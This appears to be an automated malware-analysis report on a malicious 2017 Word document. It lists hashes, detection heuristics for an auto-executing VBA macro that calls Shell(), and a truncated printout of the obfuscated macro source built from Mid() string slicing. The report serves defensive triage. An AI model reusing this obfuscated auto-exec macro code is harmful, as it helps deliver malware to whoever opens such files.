Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8c73c84bcd69be5…

MALICIOUS

Office (OLE)

136.0 KB Created: 2017-10-27 10:41:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 6a86ff81f7f3ff557d680f7db6b75e24 SHA-1: 56f9a0614bd27beb79dbfa161600ea2b2ca7a63d SHA-256: c8c73c84bcd69be5d4c18e1a965b3a7affbb8fee542b8213c5c7b38b9e9f829f
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated but the presence of a Shell() call and the ClamAV detection indicate it is designed to execute arbitrary commands. The AutoOpen macro further suggests automatic execution upon opening the document. The specific payload or destination is not discernible due to obfuscation, but the intent is to execute a secondary stage.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 72216 bytes
SHA-256: ac340e849991b94c9d9eba5d318a13e1b72348a1fc14a04b6286e056d9cfa8ed
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 114 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function ZPzpTfGLV()
MjrkzVR = "3I2OBYNJK3XuifsWDFiiaLtAqPDbBtIzwjuUZulzzDoUXYNhwTbkcnRqGCZbioouMYvBkYwIUlfWXYcSCWchSYWLODNXUJTKOuIzcLzaWSQrHvThZHZIMGboCknjLZnKRUHcQdqqYCLzIiDTkfwNkKwISTwsYQOziFZmnqRvRijJvcjYjUvfaaZHWzKzjzSHnOUCEQftODwBboMqnYLDUjWEfSQojUOTQbWhHiTQpCRXdXjhmTJImOnErQWlzrNtoclzSfjJEvOSSwbHmiBMKFVC2RWZ94GLH3HMVE5641ES"
uQBwvjVAfl = Mid(MjrkzVR, 11, 268)
muPaqJXb = uQBwvjVAfl
azKnwXwF = "VLJG80JQEGEwSHWsIC7KCFS6"
bbuBL = Mid(azKnwXwF, 12, 5)
kCUpswiP = bbuBL
lFbshiIGf = "G3UUC10UVQP9M7FXKlUFnhsXRmWbZoCWpnWQEAuMjTffzrDwEbhDGYSKRDUcqEtZDDOuHMTKrHVTCMZZjaXzGzPRVLwBfRViZFbudIorIXLwCwIFdvtQhvTEnwZvOSiamquwkfvbljpinROWDtXkYFzdmXGhisdptlLMDMUwzSiBGkRWhCsVutChsQJNZOstDzpBFCSqYZkFawXCFkzfzIvzjiTnDHYlZlwGvQQfjCwVIwK6HQ3QE0L54"
iuUiRKGFQq = Mid(lFbshiIGf, 16, 223)
GwhQawhvBd = iuUiRKGFQq
kZwrtiHub = "3CSDDGIhBoSprHiQwoXjAmjOHkADqAUmsoOzRpAjivkLApsBWfQduPaVGUtbJBqAUjz85PXM29HV"
maKiK = Mid(kZwrtiHub, 8, 60)
VzTuwuR = maKiK
mnpHUEcbP = "QLXGD705M314CFAGZP7GbDiAaMfzNUWBFhFTEh2NHJT1Z3"
jBrYzNFFoTn = Mid(mnpHUEcbP, 20, 19)
cJliJBdvb = jBrYzNFFoTn
IYlHMMRhi = "9XL03IBT5KZDLGYDM9OHI9cEBYqlKHKIVcIaTKcFEsKwTCjpHaTKZZmjhiCVjjISGmhCYrvjKisvji3QCGB00MQI36"
HFWEkR = Mid(IYlHMMRhi, 23, 56)
NdjRH = HFWEkR
CYQTqqjP = "M243V5AKTYTM4JCqufbBlNtZIrTqOMbSNfXCJzdvbrvVBGLCfUawocH2E"
PlOAKr = Mid(CYQTqqjP, 16, 39)
JfrZwMwst = PlOAKr
kucOvhj = "P518JC6XM38QiFNwcCsKtXBOaTcAqjbbcHRiCZnfliWzPvtTwjNZtabIPMaPthLGbsobnivDONYPAEwfaIDGVCiBfJSpwYlESQWXGRjRnJKfBMHLOvpkiFkYJmviMGEqbUzkibYIclSMsCATBMTU"
rVtnf = Mid(kucOvhj, 12, 134)
ZYaizqtwmq = rVtnf
UHBQzWw = "8LUT9WCjjDOVfZLkPPFLVYoLzNWZYJjDtaUTaRvDijROrmnznrZWKH7IG4K"
IHmkXlHlEZ = Mid(UHBQzWw, 7, 44)
OhRjmowMU = IHmkXlHlEZ
NIqziZm = "W7JUI9CDOHXPXkkzKMziGhPpzOGKwWYwUdpITjfadzjHdbvpATICRLziadksSJsADjptubfahZAIAIMXTQKdOVjJdHipwmHUFjDtlBuYnhVsKqhSRMZBzPmiDjQntqcuRjDUESmSWlphznwnZQXmNGVpuVqElGfzFbaimNNza2I"
tkDaObBK = Mid(NIqziZm, 13, 157)
iLlABwGd = tkDaObBK
DbwALoDAp = "Y8V729MLHiNZFiPhcOcSqjLKOaichjQGsbXMUBMCYLGbIQonbXIrCfOvPUYmfXsaN29NIGTD539AD7YC8MT2XI9HPD8NC"
pMGfY = Mid(DbwALoDAp, 9, 56)
sirsvtD = pMGfY
BzaBHvqaZ = "2KBPTAIKTQXUiKGcMzPiPtTojwJLQTrYwKQYwTcLcjPtcpvSvMrpiqLRrCzCQriQpoV37L2SJ20OXS45D3K7A3W7ASLC7V"
zscJSP = Mid(BzaBHvqaZ, 12, 56)
hIilzQaP = zscJSP
zhNjWK = "Y1OHhdLCNbCatiakCzlvBKYYDNMczAcZXBTjMAjLcYKhpblkVfRaAjWhCpDT8UR6J2FCMWVWHXP"
rVwBhAl = Mid(zhNjWK, 3, 58)
qKuwnGstPkp = rVwBhAl
MBcaGE = "OUQB76BUVPHHHLukFkNEmbjlHZwSEddohBshaGRGhuYABDKcniSsYRvhMBRGITXzbrUHjMKPYPS0CP"
wwjqkhJHdi = Mid(MBcaGE, 15, 57)
TPwLkihFNH = wwjqkhJHdi
KBQutAqjZM = "H31CM37T6AMHI09hCHzviLScCiOuznalGqGwGicbBAMMwEwOzYkWbOttqzCnTWwPSOwJtwaUiXudwFizhzuYDDJrwNHGjpIiCztjFnVBwQrEUQukVEFUcaMOEGNfrUnpPPbAMusudtamMFXjSWlcjnCclifwapKidBoEpuYaLLqizZCzjjMAHLTRSLF"
oBhKTiC = Mid(KBQutAqjZM, 16, 164)
FYEJHILls = oBhKTiC
JmhPwEPwlm = "UCYM4DHuaiKsYAHYzQOCAjwBjZtRXXBfRKtlcdlcQIiPTDCrnzCpzzfndwICJpWCjfaNGVvVflmszhidXCiaVMhSfFIjUjTamfiocokRBjKMNmqvNffGLvhUzIiANPAwSLGRzuAiSMZoCVFtPMSpDMPqwOrTGkDljNuBfYwTfwowWtSbDpkBzLsFwQTkDjbiInHobENrPwKHYQUEwPQRzCoUVoEPELPwVGqjldzzbtlwBlhjvPonQKiGwmTnzzmDjLmSZlSSPRpFQpTjHYTpWbiK9OKYCWXQSO2ONZSUD4EUO"
rMviS = Mid(JmhPwEPwlm, 6, 275)
hPkTtXrz = rMviS
qPQnkDP = "JTBZUPX52CsjzInoAFBVORszhLkqrcOtszvZZjFjqUspInfIpGPVTkFbiKUiQdoUnzqCMOOTzSitZD1PEDPO7Z532ULY9XRJQZ"
WHGjUQjJJ = Mid(qPQnkDP, 10, 69)
bQYcFiAit = WHGjUQjJJ
iilsYi = "HPQ25BLOUOE9HJXJW75NI0HOOI2HVlmSXOEfzXBMwiqZaMEZPHwkTvlCEYwcstUtkYLQADZhZFwBYATlOwrOmBzbdCaYZYTEKwpCAoZMhRLNzjdDFNNwBFHiYknwcBIAltrbKRkaXfhUqmitYWSLLXCEpHiQBakfJLbDrCtocnYWYmrlFtaFiwoNrnlDmUZzvBLfKbBWdijYzffDQsLHAiwNWOMEQqBINbbWaLbdrDbDMQOLHintJRzQEwJwPzGndbKYEIcERhQwDsAFzAz9U9N"
FEAqNnED = Mid(iilsYi, 28, 248)
RqQHJhswb = FEAqNnED
RojPImaLwJ = "ER4EHZ6E45TSJPGE3R82UZ6FDBJ1HvtHIpPNtuEpRbifnQAzfowRHoTTvzLZrnXXuwzjV
... (truncated)

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